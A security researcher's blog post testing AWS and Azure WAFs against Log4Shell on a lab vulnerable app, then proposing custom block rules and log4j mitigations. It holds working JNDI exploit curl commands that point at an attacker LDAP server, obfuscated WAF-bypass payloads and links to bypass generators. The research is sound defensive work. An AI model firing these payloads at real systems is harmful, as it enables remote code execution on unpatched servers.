Testing Cloud (AWS & Azure) WAF Capabilities Against log4shell(CVE-2021–44228)
Log4j shell or Log4Shell or LogJam[CVE-2021–44228] is a zero day that allows hackers to execute remote code execution(RCE). It exploits JNDI Api that uses LDAP protocol.
Some organization might be thinking that they have cloud WAF’s like AWS WAF & Azure WAF, etc which will by default protect against this.
Let’s dive in and check the capabilities of these cloud WAFs like AWS & Azure.
What is log4j Vulnerability?
Log4j is a java based library developed by the Apache Software Foundation and is used for logging purposes by many software. For example, Druid, ELK, Minecraft, etc.
The zero-day vulnerability is serious because exploiting it could allow attackers to control java-based applications and perform remote code execution (RCE) attacks. In simple words, this would allow a hacker to take control of the entire system. The vulnerability is officially given a CVE-2021–44228 and called as Log4Shell.
If an attacker manages to inject payload into remote server’s log messages then, the targeted server will execute the request via Java Naming & Directory Interface(JNDI) API calls, JNDI then uses LDAP protocol to serve the request.
Payload : ${jndi:<protocol>://[attacker-ip-address:port-number]}
Apache released patch version i.e 2.15.0.
Affected Apache log4j Versions
2.0-beta9 <= Apache log4j <= 2.14.1
LIMITED VULNERABILITY IN
2.15.0
, the possible vulnerability in some apps. The recommended update is to2.16.0
which disables JNDI and completely removes%m{lookups}
.
Testing Log4Shell vulnerability
We will be using Log4Shell sample vulnerable application (CVE-2021–44228) .
As organizations are running towards fixing and mitigating the issue. There are chances that they might trust their cloud WAF’s which are running OWASP CRS, which is indeed a good ruleset but prevents general attacks.
Zero-days rules needed to be tweaked so that CRS can protect against such attacks but in the case of cloud providers like AWS & Azure, this facility is not provided.
We will see how to set up a basic vulnerable log4j application and then test the AWS WAF & Azure WAF failed capabilities.
Also, we will try to add some custom rules which can temporarily protect against the log4shell attack and buy organizations some time so that they can find vulnerable libraries & code via searching repositories or using any tools like dependency check.
Note: Below created custom rules are based on application and only for the demo. These rules can be easily bypassed.
Testing & Bypassing AWS WAF
#Setup
Run an ec2 and install docker
ssh into the server.
Run the commands to install the docker and vulnerable log4shell application.
#sudo su
#apt update -y
#sudo apt install containerd -y
#apt install docker.io -y
#service docker start
#docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
- Check whether the vulnerable application is running or not.
In another terminal download JNDIExploit.v1.2.zip (virus total).
Run the command:
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
- Then from the local machine send the payload:
# will execute 'touch /tmp/pwned'
#curl 35.163.175.93:8080 -H 'X-Api-Version: ${jndi:ldap://35.163.175.93:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
- Now check the request on JNDI exploit terminal.
A Java-based application can use JNDI + LDAP together to find a object containing data.
For example, the following URL ldap://35.163.175.93:1389/cn=email to find and invoke the object remotely from an LDAP server running on either the same machine or on the remote machine hosted and then goes to read attributes.
Thus, the LDAP server could either be running anywhere remotely. This means if an attacker could control the LDAP URL they’d be able to cause a Java program to instantiate a class from an LDAP server under their control. If an attacker can control this JNDI URL, it can cause the application to load and execute arbitrary code.
https://www.horizon3.ai/cve-2021-44228/
Then the output of JNDI Exploit, we can see that it has sent a malicious LDAP response and served another payload with command. Thus making it a complete RCE attack.
Now in another tmux terminal check the file has been created in the tmp directory of the docker thus making it certain that a malicious LDAP request has triggered the RCE.
#Testing AWS WAF
In this scenario, we are running a load balancer pointing to an ec2 instance with AWS WAF enabled.
First we will enable the AWS managed ruleset and perform log4shell attack the application thus validating that AWS owned rules are not protecting against such attacks.
Secondly we will create custom rules and perform the same attack. This will block some kind of attacks temporarily.
- Set up a load balancer and point it to the ec2 instance 35.163.175.93 running application on port 80.
docker run --name vulnerable-app -p 80:8080 ghcr.io/christophetd/log4shell-vulnerable-app
- Now check whether the application is running via the load balancer
- Generate a new payload to validate AWS WAF bypass.
#echo ‘touch /tmp/waf-bypassed’ | base64
dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=
- Again, In another terminal download JNDIExploit.v1.2.zip (virus total) and run the JNDI exploit jar.
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
- Then send the malicious payload to perform the attack and bypass the AWS WAF managed ruleset.
Enabled AWS managed rules:
- AWS-AWSManagedRulesCommonRuleSet
- AWS-AWSManagedRulesLinuxRuleSet
- AWS-AWSManagedRulesKnownBadInputsRuleSet
- AWS-AWSManagedRulesUnixRuleSet
- AWS-AWSManagedRulesSQLiRuleSet
- Then again run the curl command on the WAF endpoint: http://alb-waf-xxxxxxxxx.us-west-2.elb.amazonaws.com with exploit and LDAP server as 35.163.175.93:1389
curl http://alb-waf-xxxxxxxxx.us-west-2.elb.amazonaws.com -H ‘X-Api-Version: ${jndi:ldap://35.163.175.93:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}’
- Now in another tmux terminal check the file has been created in the tmp directory of the docker with the name way-bypassed thus confirming the RCE attack.
- Check the AWS WAF logs, no log4shell attack request has been blocked.
#update
- I got to know that all the common payloads tested and used were blocked. Then I tried testing all the available payloads on the internet.
Neither I am expert in JAVA nor with the WAF’s, I am using already available knowledge.
- After trying for hours I was again able to bypass the AWS using the payload:
${jnd${123%25ff:-${123%25ff:-i:}}ldap://54.202.15.244:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWNrZWRub3d3YQ==}
- Check the vulnerable application server to check the successful exploitation of log4shell.
Testing & Bypassing Azure WAF
#Setup
Run a virtual machine and install docker, similar to ec2 installation.
ssh into the server.
Run the commands to install the docker and vulnerable log4shell application.
#sudo su
#apt update -y
#sudo apt install containerd -y
#apt install docker.io -y
#service docker start
#docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Check whether the vulnerable application is running or not.
In another terminal download JNDIExploit.v1.2.zip (virus total).
Run the command:
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
- Then from the local machine send the payload:
# will execute 'touch /tmp/pwned'
#curl 40.71.71.203:8080 -H 'X-Api-Version: ${jndi:ldap://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Now check the request on JNDI exploit terminal.
Then the output of JNDI Exploit has sent a malicious LDAP response and served another payload with command.
Now in another tmux terminal check the file has been created in the tmp directory.
#Testing Azure WAF
In this scenario, we are running a load balancer pointing to an virtuals machine with Azure WAF enabled.
First we will enable the Azure managed rules ( Web Application Firewall CRS rule groups and rules )and perform log4shell attack the application thus validating that Azure waf rules are not protecting against log4shell attacks.
Secondly again we will create custom rules on Azure WAF and perform the same attack. Thus understanding temporary mitigation and WAF capabilities similar to AWS WAF
Set up an application gateway and point it to the virtual machine 40.71.71.203 running application on port 80.
The Azure WAF load balancer is having an IP address instead of a URL as in the case of AWS.
Here the Loadbalancer has been assigned the IP of
docker run --name vulnerable-app -p 80:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Now check whether the application is running via the gateway IP address.
Generate a new payload to validate Azure WAF bypass.
#echo ‘touch /tmp/waf-bypassed’ | base64
dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=
- Again, In another terminal download JNDIExploit.v1.2.zip (virus total) and run the JNDI exploit jar.
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
- Then send the malicious payload to perform the attack and bypass the Azure WAF-managed rules.
The Azure Application Gateway Web Application Firewall (WAF) v2 comes with a pre-configured, platform-managed ruleset that offers protection from many different types of attacks.
Application Gateway supports three rule sets: CRS 3.1, CRS 3.0, and CRS 2.2.9. These rules protect your web applications from malicious activity.For more information, see Web application firewall CRS rule groups and rules.
- Azure provides only CRS (Core Rule Set), but they are more effective in protecting various attacks. One can always prefer Azure WAF over AWS WAF.
curl 40.121.244.146 -H 'X-Api-Version: ${jndi:ldap://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}'
Then again run the curl command on the WAF endpoint: 40.121.244.146 with exploit and LDAP server as 40.71.71.203:1389
As we can see the request is blocked.
This proves that Azure WAF has put some kind of restriction as compared to AWS WAF. This is really great as this will stop all basic recons.
Now we will try to bypass the Azure WAF
- We can use Burp Suite to test and bypass the payload easily via using the repeater.
Let’s use this payload from twitter: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://
But instead of changing the complete payload let’s try to change the value of p in LDAP.
ldap -> lda${lower:p}
curl 40.121.244.146 -H 'X-Api-Version: ${jndi:lda${lower:p}://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}'
- Now in another tmux terminal check the file has been created in the tmp directory of the docker with the name way-bypassed thus confirming the RCE attack.
Thus this is proved that managed rules are unable to protect against these attacks and Azure WAF is currently unable to protect against log4shell zero-day attacks but Azure WAF is having some kind of protection mechanism. As there is limit to managed rules one can write, Azure WAF add basic check thus providing space to write more custom rules.
#update: I am really amazed that AWS started blocking most of the payloads for such a critical attack after the blog and I would like to thank AWS for helping the customers who are using AWS WAF.
Some of the common mitigations along with custom rules are mentioned below.
Mitigation
#AWS WAF Custom Rule
Create AWS custom rule based on string and regex.
We have created a string-based custom rule for AWS WAF to protect against log4shell.
If a request matches at least one of the statements (OR)
Statement 1
Field to match
Header (x-api-version)
Positional constraint
Contains string
Search string jndi:
Text transformations None (Priority 0)
Statement 2
Field to match
Header (x-api-version)
Positional constraint
Contains string
Search string ${${
Text transformations None (Priority 0)
Statement 3
Field to match
Header (x-api-version)
Positional constraint
Contains string
Search string jndi:ldap
Text transformations None (Priority 0)
Then Action The action to take when a web request matches the rule statement.
Action Block
- Add the custom rule and try sending malicious requests.
- The server responded with forbidden 403.
#Azure WAF Custom Rule
Create AWS custom rule based on string and regex.
We have created a string-based custom rule for AWS WAF to protect against log4shell.
Custom rule name
Priority
Conditions
If
Match type
String
Match variables
Match variable
RequestHeaders
Header name
Operation is
is not
Operator Contains
Transformations
UrlDecode
Lowercase
Select a transformation
Match values
jndi:
${${
jndi:dns
- Add the custom rule and try sending malicious requests.
- The server responded with forbidden 403 with our bypass payload:
${jndi:lda${lower:p}://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}
.
- Another payload:
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://
also blocked.
Note: This azure blog gives some insight on guidance for preventing, detecting, and hunting for CVE-2021–44228 Log4j 2 exploitation.
Always perform multiple rounds of testing before deploying any custom WAF rule on production else it can block genuine traffic.
#Other application based mitigations
In releases >=2.10, set the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true (formatMsgNoLookups=true).
If the version is older than 2.10.0 (and cannot upgrade), modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files (only works on versions >= 2.7) — Although this is not advisable. Reference: https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/#updating-the-log-statement-format-with-mnolookupzz-is-not-advisable
Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup
Volker Simonis from the AWS Corretto team has released a java agent-based runtime patch (RASP-based patching technique).
Implement WAF with regex-based/ rule-based custom rules.
Bypass
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
https://github.com/stamparm/maltrail/blob/master/misc/ua.txt#L1860-L1869
https://github.com/woodpecker-appstore/log4j-payload-generator
Reference:
Subscribe to my newsletter
Read articles from Anjali directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Anjali
Anjali
Anjali Shukla is a security consultant with over 6 years of experience in the cybersecurity and DevOps field. Her areas of expertise include pentesting, DevSecops, AWS, GCP, CI/CD, Kubernetes, and IAC security. Anjali joined NotSoSecure in 2021 as a DevSecops and infrastructure security specialist. She is involved in various DevSecops integrations for training and infrastructure lab setups, and she ensures that all components in the pipeline are functioning as expected. Anjali is currently leading W3-CS Bengaluru chapter and was also part of the Infosec Girls mentorship program and loves to publish her research on various DevOps security topics. She has interned in the Cyber Security Cell of Gurugram Police. She has actively participated in various training programs for RHCSA, RHCE, CEH, and ECHSA to enhance her knowledge in the field of cybersecurity and DevOps. Anjali is comfortable writing code in Python and bash and writing Ansible and Terraform scripts for automation purposes. She is also part of the Defcon Cloud Village & Bsides Bengaluru . Winner of Women Influencer in Cloud Security at the CSA Bangalore Annual Meet 2023 Delivers hands on training on AWS,Azure & GCP Cloud Security, DevSecops & Container-Kubernetes Security Speaking & Training Experience: • Blackhat Europe 2023 • CSA Bangalore Annual Summit • C0c0n 2023 • Bsides Bangalore 2023 • Private Corporate Trainings @ NotSoSecure • Null Community Meetup Bangalore • Google Cloud IAP SECURITY @ Cloud Security Podcast • Nullcon 2023 Certifications: • SecOps Group CCSP-AWS Certified. • Azure Az-900 Microsoft Certified (ID: 991618690).